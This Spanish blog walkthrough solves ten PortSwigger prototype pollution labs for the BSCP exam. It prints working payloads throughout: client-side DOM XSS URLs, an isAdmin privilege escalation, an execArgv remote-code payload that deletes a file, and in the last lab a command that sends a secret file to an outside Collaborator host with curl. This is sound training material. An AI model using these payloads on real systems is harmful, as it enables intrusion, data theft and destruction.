¡Hola a todos! Aquí estamos de nuevo y esta vez seguimos preparando la certificación Burp Suite Certified Professional (BSCP), que proporciona una base muy buena de cara a auditorías web y gestión de la presión, sobre todo en el examen para el cual te proporcionan 4 horas y hay que explotar hasta 6 vulnerabilidades. Además, se trata de un examen muy barato (<100€) lo que la hace sumamente atractiva.
Antes de nada, recordad que PortSwigger nos permite probar 30 días su versión profesional de Burp Suite. Os recomendamos que activéis esta versión para poder probar todas las funcionalidades de la herramienta.
En esta entrada explicaremos y solucionaremos todos los laboratorios relativos a Prototype Pollution. Hay muchos walkthroughs sobre cómo resolver estos laboratorios, pero exponerlos aquí nos sirve para afianzar conceptos y enseñaros además algunos trucos de uso de Burp Suite Professional, así como comentar veces que hemos visto las vulnerabilidades estudiadas en los laboratorios en la vida real. Sin más dilación, ¡comenzamos!
No podemos decir que nos hayamos encontrado esta vulnerabilidad habitualmente en nuestras auditorías. Sin embargo, es interesante dado que puede dar pie a ataques avanzados, especialmente dirigidos a comprometer el navegador del cliente. Por ello, vemos de especial utilidad todos los laboratorios que PortSwigger pone a nuestra disposición.
Para resolver estos laboratorios haremos uso intensivo de DOM Invader, extensión de Burp Suite Professional que nos ayuda mucho en estos casos. Fíjate que además debemos activar la opción de detectar Prototype Pollution:

Lab1 (Practicioner) – DOM XSS via client-side prototype pollution
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab: Find a source that you can use to add arbitrary properties to the global Object.prototype. Identify a gadget property that allows you to execute arbitrary JavaScript. Combine these to call alert().«. En este laboratorio el objetivo es explotar client-side prototype pollution para obtener un ataque DOM-Based XSS.
Dado que este tipo de vulnerabilidades son client-side, lo que haremos será navegar por la aplicación con la extensión DOM Invader y la opción de Prototype Pollution habilitadas. Esta extensión es muy útil, pues nos identifica «sources» y «sinks» de Javascript para poder obtener manipulaciones client-side de todo tipo (se puede lanzar desde la pestaña Burp Suite Proxy -> Intercept -> Open Browser).

Vemos cómo simplemente navegando a través de la aplicación, DOM Invader ya detecta un posible «source» para ataques de Prototype Pollution. No obstante, que podamos hacer pollution del prototipo no quiere decir que sea explotable por sí mismo. Lo siguiente que necesitamos es un gadget, es decir, ver si nuestra entrada acaba en un «sink» que luego podamos aprovechar para lanzar el ataque final. Para ello, seguimos usando funcionalidad de DOM Invader, en este caso el botón «Scan for gadgets»:

Rápidamente DOM Invader obtiene el gadget, dado que a nivel Javascript el parámetro de búsqueda se pasa a un objeto cuya propiedad no está definida. Esto es, podemos hacer pollution de la propiedad en el propio prototipo y el objeto final la heredará. Esta propiedad, por si tienes curiosidad, es «transport_url» del objeto «config» que puedes ver en el script «searchLogger.js». Fíjate que no está definida y por tanto nuestro exploit la definirá en el prototitpo «Object.prototype».
Ejecutando el exploit de DOM Invader conseguimos explotar la vulnerabilidad y resolver el laboratorio, al haber logrado pasar del «source» al «sink». La URL sería la siguiente:
https://0a09008a033949df82f1066300c9009a.web-security-academy.net/?__proto__[transport_url]=data%3A%2Calert%281%29

Lab2 (Practicioner) – DOM XSS via an alternative prototype pollution vector
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab: Find a source that you can use to add arbitrary properties to the global Object.prototype. Identify a gadget property that allows you to execute arbitrary JavaScript. Combine these to call alert().«. En este laboratorio el objetivo es explotar client-side prototype pollution para obtener un ataque DOM-Based XSS.
Dado que este tipo de vulnerabilidades son client-side, lo que haremos será navegar por la aplicación con la extensión DOM Invader y la opción de Prototype Pollution habilitadas. Esta extensión es muy útil, pues nos identifica «sources» y «sinks» de Javascript para poder obtener manipulaciones client-side de todo tipo (se puede lanzar desde la pestaña Burp Suite Proxy -> Intercept -> Open Browser).

De nuevo, rápidamente DOM Invader encuentra la fuente del problema, el propio string de la query. Lanzamos el escaneo para intentar encontrar algún gadget u objeto vulnerable a este ataque. Es decir, un objeto con alguna propiedad no definida que podamos sobrescribir en el prototipo:

Nuevamente, tenemos el gadget, aunque como vemos el contexto cambia. Si analizamos el stack trace, de nuevo vemos que esto viene del archivo «searchLoggerAlternative.js». En este caso, estamos dentro de un contexto eval(), por lo que debemos adaptar el payload:
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');
La propiedad que sobrescribimos es manager.sequence y, por tanto, debemos adaptar el payload a algo como lo siguiente:
https://0a5f007703b8aecd80e33a9000dc00da.web-security-academy.net/?__proto__.sequence=alert(1))}//
Lanzamos la URL y resolvemos el laboratorio:

Lab3 (Practicioner) – Client-side prototype pollution via flawed sanitization
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab: Find a source that you can use to add arbitrary properties to the global Object.prototype. Identify a gadget property that allows you to execute arbitrary JavaScript. Combine these to call alert().«. En este laboratorio el objetivo es explotar client-side prototype pollution para obtener un ataque DOM-Based XSS.
Dado que este tipo de vulnerabilidades son client-side, lo que haremos será navegar por la aplicación con la extensión DOM Invader y la opción de Prototype Pollution habilitadas. Esta extensión es muy útil, pues nos identifica «sources» y «sinks» de Javascript para poder obtener manipulaciones client-side de todo tipo (se puede lanzar desde la pestaña Burp Suite Proxy -> Intercept -> Open Browser).

Tal como se puede ver, la aplicación busca el string «__proto__» en los parámetros controlados por el usuario. Sin embargo, como no lo elimina recursivamente, se puede construir un ataque de manera sencilla «cortando» dicha palabra tal como vemos en DOM Invader. Ahora, simplemente, buscamos algún gadget:

De nuevo, al igual que en el laboratorio 1, tenemos la propiedad «transport_url» del objeto «config» que podemos envenenar. Probamos con el propio botón «Exploit» de DOM Invader y vemos que el laboratorio queda resuelto a pesar del intento de sanitizar parámetros:
https://0ac500d5039753d9805a03a0005a00d3.web-security-academy.net/?__pro__proto__to__[transport_url]=data%3A%2Calert%281%29

Lab4 (Practicioner) – Client-side prototype pollution in third-party libraries
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab: Use DOM Invader to identify a prototype pollution and a gadget for DOM XSS. Use the provided exploit server to deliver a payload to the victim that calls alert(document.cookie) in their browser.«. En este laboratorio el objetivo es explotar client-side prototype pollution para obtener un ataque DOM-Based XSS.
Dado que este tipo de vulnerabilidades son client-side, lo que haremos será navegar por la aplicación con la extensión DOM Invader y la opción de Prototype Pollution habilitadas. Esta extensión es muy útil, pues nos identifica «sources» y «sinks» de Javascript para poder obtener manipulaciones client-side de todo tipo (se puede lanzar desde la pestaña Burp Suite Proxy -> Intercept -> Open Browser).

De nuevo, buscamos un gadget con DOM Invader, en este caso obteniendo uno en código minificado de una librería de terceros. Vemos la potencia de DOM Invader:

Como siguiente paso, obtenemos una URL válida para explotar la vulnerabilidad a través del botón «Exploit» de DOM Invader y adaptando el payload a lo que nos pide el laboratorio:
https://0aa100c904421d7780ee302400440052.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29
E incluimos la redirección automática en el «Exploit Server»:
<script>
location="https://0aa100c904421d7780ee302400440052.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>
Enviamos el exploit a la víctima y… ¡¡Laboratorio resuelto con DOM Invader!!
Lab5 (Practicioner) – Client-side prototype pollution via browser APIs
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab: Find a source that you can use to add arbitrary properties to the global Object.prototype. Identify a gadget property that allows you to execute arbitrary JavaScript. Combine these to call alert().«. En este laboratorio el objetivo es explotar client-side prototype pollution para obtener un ataque DOM-Based XSS.
Dado que este tipo de vulnerabilidades son client-side, lo que haremos será navegar por la aplicación con la extensión DOM Invader y la opción de Prototype Pollution habilitadas. Esta extensión es muy útil, pues nos identifica «sources» y «sinks» de Javascript para poder obtener manipulaciones client-side de todo tipo (se puede lanzar desde la pestaña Burp Suite Proxy -> Intercept -> Open Browser).

Obtenida la «source», vamos de nuevo a obtener el gadget con DOM Invader:

Rápidamente, obtenemos el gadget y el exploit a través de la siguiente URL:
https://0a9e00730381381a81956bfe00a30045.web-security-academy.net/?__proto__[value]=data%3A%2Calert%281%29
Lo realmente importante aquí es que los desarrolladores intentan evitar el que sobrescribamos la propiedad «transport_url» del objeto «config». Para ello, usan un script como el siguiente:
Object.defineProperty(vulnerableObject, 'gadgetProperty', {
configurable: false,
writable: false
})
Que, sin embargo, es vulnerable en sí mismo porque el método «defineProperty» permite definir un valor. Así las cosas, añadimos al prototipo principal del método anterior la propiedad «value» con un valor malicioso, de tal forma que cuando se llama al método «defineProperty» en realidad se llamaría como algo así:
Object.defineProperty(vulnerableObject, 'gadgetProperty', {
configurable: false,
writable: false,
value: "data%3A%2Calert%281%29"
})
Y, por tanto, sobrescribimos el propio valor que queríamos a pesar de la defensa que se convierte en vulnerable por sí misma.

Lab6 (Practicioner) – Privilege escalation via server-side prototype pollution
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab: Find a prototype pollution source that you can use to add arbitrary properties to the global Object.prototype. Identify a gadget property that you can use to escalate your privileges. Access the admin panel and delete the user carlos.«. En este laboratorio el objetivo es explotar server-side prototype pollution para obtener acceso al panel de administración.
Al hacer pruebas de Server-Side Prototype Pollution, asumimos que el backend utiliza JavaScript (por ejemplo, Node.js con Express). El testeo de esta vulnerabilidad es muy parecido al hecho en client-side para el resto de laboratorios. Sin embargo, debemos conocer que tocar las propiedades de los prototipos puede dejar la aplicación no funcional. Por ello, en entornos de producción debemos hacerlo con sumo cuidado.
Comenzamos mapeando la aplicación y vemos que la funcionalidad de actualizar la información de «billing» nos devuelve los datos que introducimos en ella:

Lo más interesante es que aparece un parámetro denominado «isAdmin» con valor «false». Esta propiedad, a priori, está asociada al objeto que maneja nuestro usuario pero nosotros no se la hemos pasado en ningún momento. Por ello, intentamos hacer pollution del prototipo de objetos indicando un valor «true» para dicha propiedad, con la esperanza de que el objeto de nuestro usuario la herede al no estar definida.

Y, tras lanzar la petición, logramos escalar privilegios y acceder al panel de administración en el frontal:

Como último paso, simplemente borra el usuario «carlos» para resolver el laboratorio.
Lab7 (Practicioner) – Detecting server-side prototype pollution without polluted property reflection
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, confirm the vulnerability by polluting Object.prototype in a way that triggers a noticeable but non-destructive change in the server’s behavior. As this lab is designed to help you practice non-destructive detection techniques, you don’t need to progress to exploitation.«. En este laboratorio el objetivo es explotar server-side prototype pollution para verificar la posibilidad de explotar esta vulnerabilidad.
Al hacer pruebas de Server-Side Prototype Pollution, asumimos que el backend utiliza JavaScript (por ejemplo, Node.js con Express). El testeo de esta vulnerabilidad es muy parecido al hecho en client-side para el resto de laboratorios. Sin embargo, debemos conocer que tocar las propiedades de los prototipos puede dejar la aplicación no funcional. Por ello, en entornos de producción debemos hacerlo con sumo cuidado.
De nuevo, nos encontramos con que la petición para cambiar los datos de facturación puede ser un buen objetivo para probar Prototype Pollution. Sin embargo, nuestra propiedad inyectada no se refleja en la respuesta:

En estos casos, tal como nos indica PortSwigger, tenemos 3 técnicas válidas de uso extendido para confirmar la vulnerabilidad: sobrescribir códigos de error, espacios en JSON y cambios en Content-Type. Nosotros optamos por la opción de sobrescribir códigos de error, incluyendo una inyección de la propiedad «status» del prototipo:

Aunque no vemos nada en la respuesta, si ahora intentamos acceder a un recurso con un cuerpo mal formado, el error obtenido ya no es un error 500 genérico, sino el que hemos inyectado nosotros:

Y, con ello, resolvemos el laboratorio, aunque en la vida real deberíamos buscar vías para su explotación, lógicamente.
Lab8 (Practicioner) – Bypassing flawed input filters for server-side prototype pollution
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab: Find a prototype pollution source that you can use to add arbitrary properties to the global Object.prototype. Identify a gadget property that you can use to escalate your privileges. Access the admin panel and delete the user carlos.«. En este laboratorio el objetivo es explotar server-side prototype pollution para obtener acceso al panel de administración.
Al hacer pruebas de Server-Side Prototype Pollution, asumimos que el backend utiliza JavaScript (por ejemplo, Node.js con Express). El testeo de esta vulnerabilidad es muy parecido al hecho en client-side para el resto de laboratorios. Sin embargo, debemos conocer que tocar las propiedades de los prototipos puede dejar la aplicación no funcional. Por ello, en entornos de producción debemos hacerlo con sumo cuidado.
Comenzamos mapeando la aplicación y vemos que la funcionalidad de actualizar la información de «billing» nos devuelve los datos que introducimos en ella:

De nuevo, observamos la propiedad «isAdmin», que parece un buen objetivo. Intentamos inyectar el valor deseado en el prototipo a través de la propiedad «__proto__», pero vemos que no lo logramos:

Podríamos pensar que el servidor no es vulnerable. Sin embargo, debemos saber que los desarrolladores intentan evitar normalmente el uso de la clave «__proto__». Por ello, para acceder al propio prototipo tenemos otras opciones que debemos explorar, como el acceso desde el método constructor del objeto. Intentamos explotar dicha vía.

Ahora vemos que la propiedad se ha actualizado. Genial, solamente queda acceder al panel de administración desde el frontal web y borrar el usuario «carlos», ya que hemos escalado nuestros privilegios:

Lab9 (Practicioner) – Remote code execution via server-side prototype pollution
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «Find a prototype pollution source that you can use to add arbitrary properties to the global Object.prototype. Identify a gadget that you can use to inject and execute arbitrary system commands. Trigger remote execution of a command that deletes the file /home/carlos/morale.txt.«. En este laboratorio el objetivo es explotar server-side prototype pollution para obtener ejecución remota de código.
Al hacer pruebas de Server-Side Prototype Pollution, asumimos que el backend utiliza JavaScript (por ejemplo, Node.js con Express). El testeo de esta vulnerabilidad es muy parecido al hecho en client-side para el resto de laboratorios. Sin embargo, debemos conocer que tocar las propiedades de los prototipos puede dejar la aplicación no funcional. Por ello, en entornos de producción debemos hacerlo con sumo cuidado.
Comenzamos mapeando la aplicación y vemos que la funcionalidad de actualizar la información de «billing» nos devuelve los datos que introducimos en ella:

Tal como podemos ver, la propiedad que hemos incluido se refleja en la respuesta, por lo que podemos afectar al prototipo «Object.prototype«. Encadenando esto con el uso de gadgets como la propiedad «execArgv» del método «child_process.fork()», logramos ejecutar código de forma remota. Esto es un gadget «universal» dado que dicho método admite la propiedad especificada y, si no se define, puede ser explotada por un atacante mediante polución. El payload es el siguiente:
"__proto__": {
"execArgv":[
"--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
]
}
Fíjate cómo incluimos el comando en el objeto «execArgv» pero no de manera directa, sino a través del parámetro «–eval» que se pasará al contexto de ejecución Node.js al generar un nuevo proceso hijo «child_process.fork()». Así las cosas, lanzamos la petición y, cuando se genere un nuevo proceso hijo (por ejemplo, por interacción de otro usuario), el archivo se borrará:

Una vez lanzada la petición, accede al panel de administración como «wiener» y lanza los procesos de mantenimiento. Esto generará un proceso hijo de Node.js y, por tanto, ejecutará el código para resolver el laboratorio:

Lab10 (Practicioner) – Exfiltrating sensitive data via server-side prototype pollution
Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.
En segundo lugar, tomemos como referencia el objetivo que nos proponen: «Find a prototype pollution source that you can use to add arbitrary properties to the global Object.prototype. Identify a gadget that you can use to inject and execute arbitrary system commands. Trigger remote execution of a command that leaks the contents of Carlos’s home directory (/home/carlos) to the public Burp Collaborator server. Exfiltrate the contents of a secret file in this directory to the public Burp Collaborator server. Submit the secret you obtain from the file using the button provided in the lab banner.«. En este laboratorio el objetivo es explotar server-side prototype pollution para obtener ejecución remota de código.
Al hacer pruebas de Server-Side Prototype Pollution, asumimos que el backend utiliza JavaScript (por ejemplo, Node.js con Express). El testeo de esta vulnerabilidad es muy parecido al hecho en client-side para el resto de laboratorios. Sin embargo, debemos conocer que tocar las propiedades de los prototipos puede dejar la aplicación no funcional. Por ello, en entornos de producción debemos hacerlo con sumo cuidado.
Comenzamos mapeando la aplicación y vemos que la funcionalidad de actualizar la información de «billing» nos devuelve los datos que introducimos en ella:

Tal como podemos ver, la propiedad que hemos incluido se refleja en la respuesta, por lo que podemos afectar al prototipo «Object.prototype«. Encadenando esto con el uso de gadgets como las propiedades «shell» e «input» del método «child_process.execSync()», logramos ejecutar código de forma remota. Esto es un gadget «universal» dado que dicho método admite las propiedades especificadas y, si no se define, puede ser explotada por un atacante mediante polución. El payload es el siguiente:
"__proto__": {
"shell":"vim",
"input":":! cat /home/carlos/secret | base64 | curl -d @- https://716y4gsrblzxhv59wrxhckwbg2mtamyb.oastify.com\n"
}
Fíjate cómo incluimos el comando en las propiedades indicadas. Este comando se pasará al contexto de ejecución Node.js cuando se ejecute «child_process.execSync()».

Ahora, finalmente, puedes acudir al panel de administración y ejecutar las tareas de mantenimiento para resolver el laboratorio, ya que llaman al método del que hemos hecho polución. Aunque el trabajo falla, vemos la interacción con Burp Collaborator y el valor que debemos mandar como solución al reto:


~km0xu95
Comments are closed.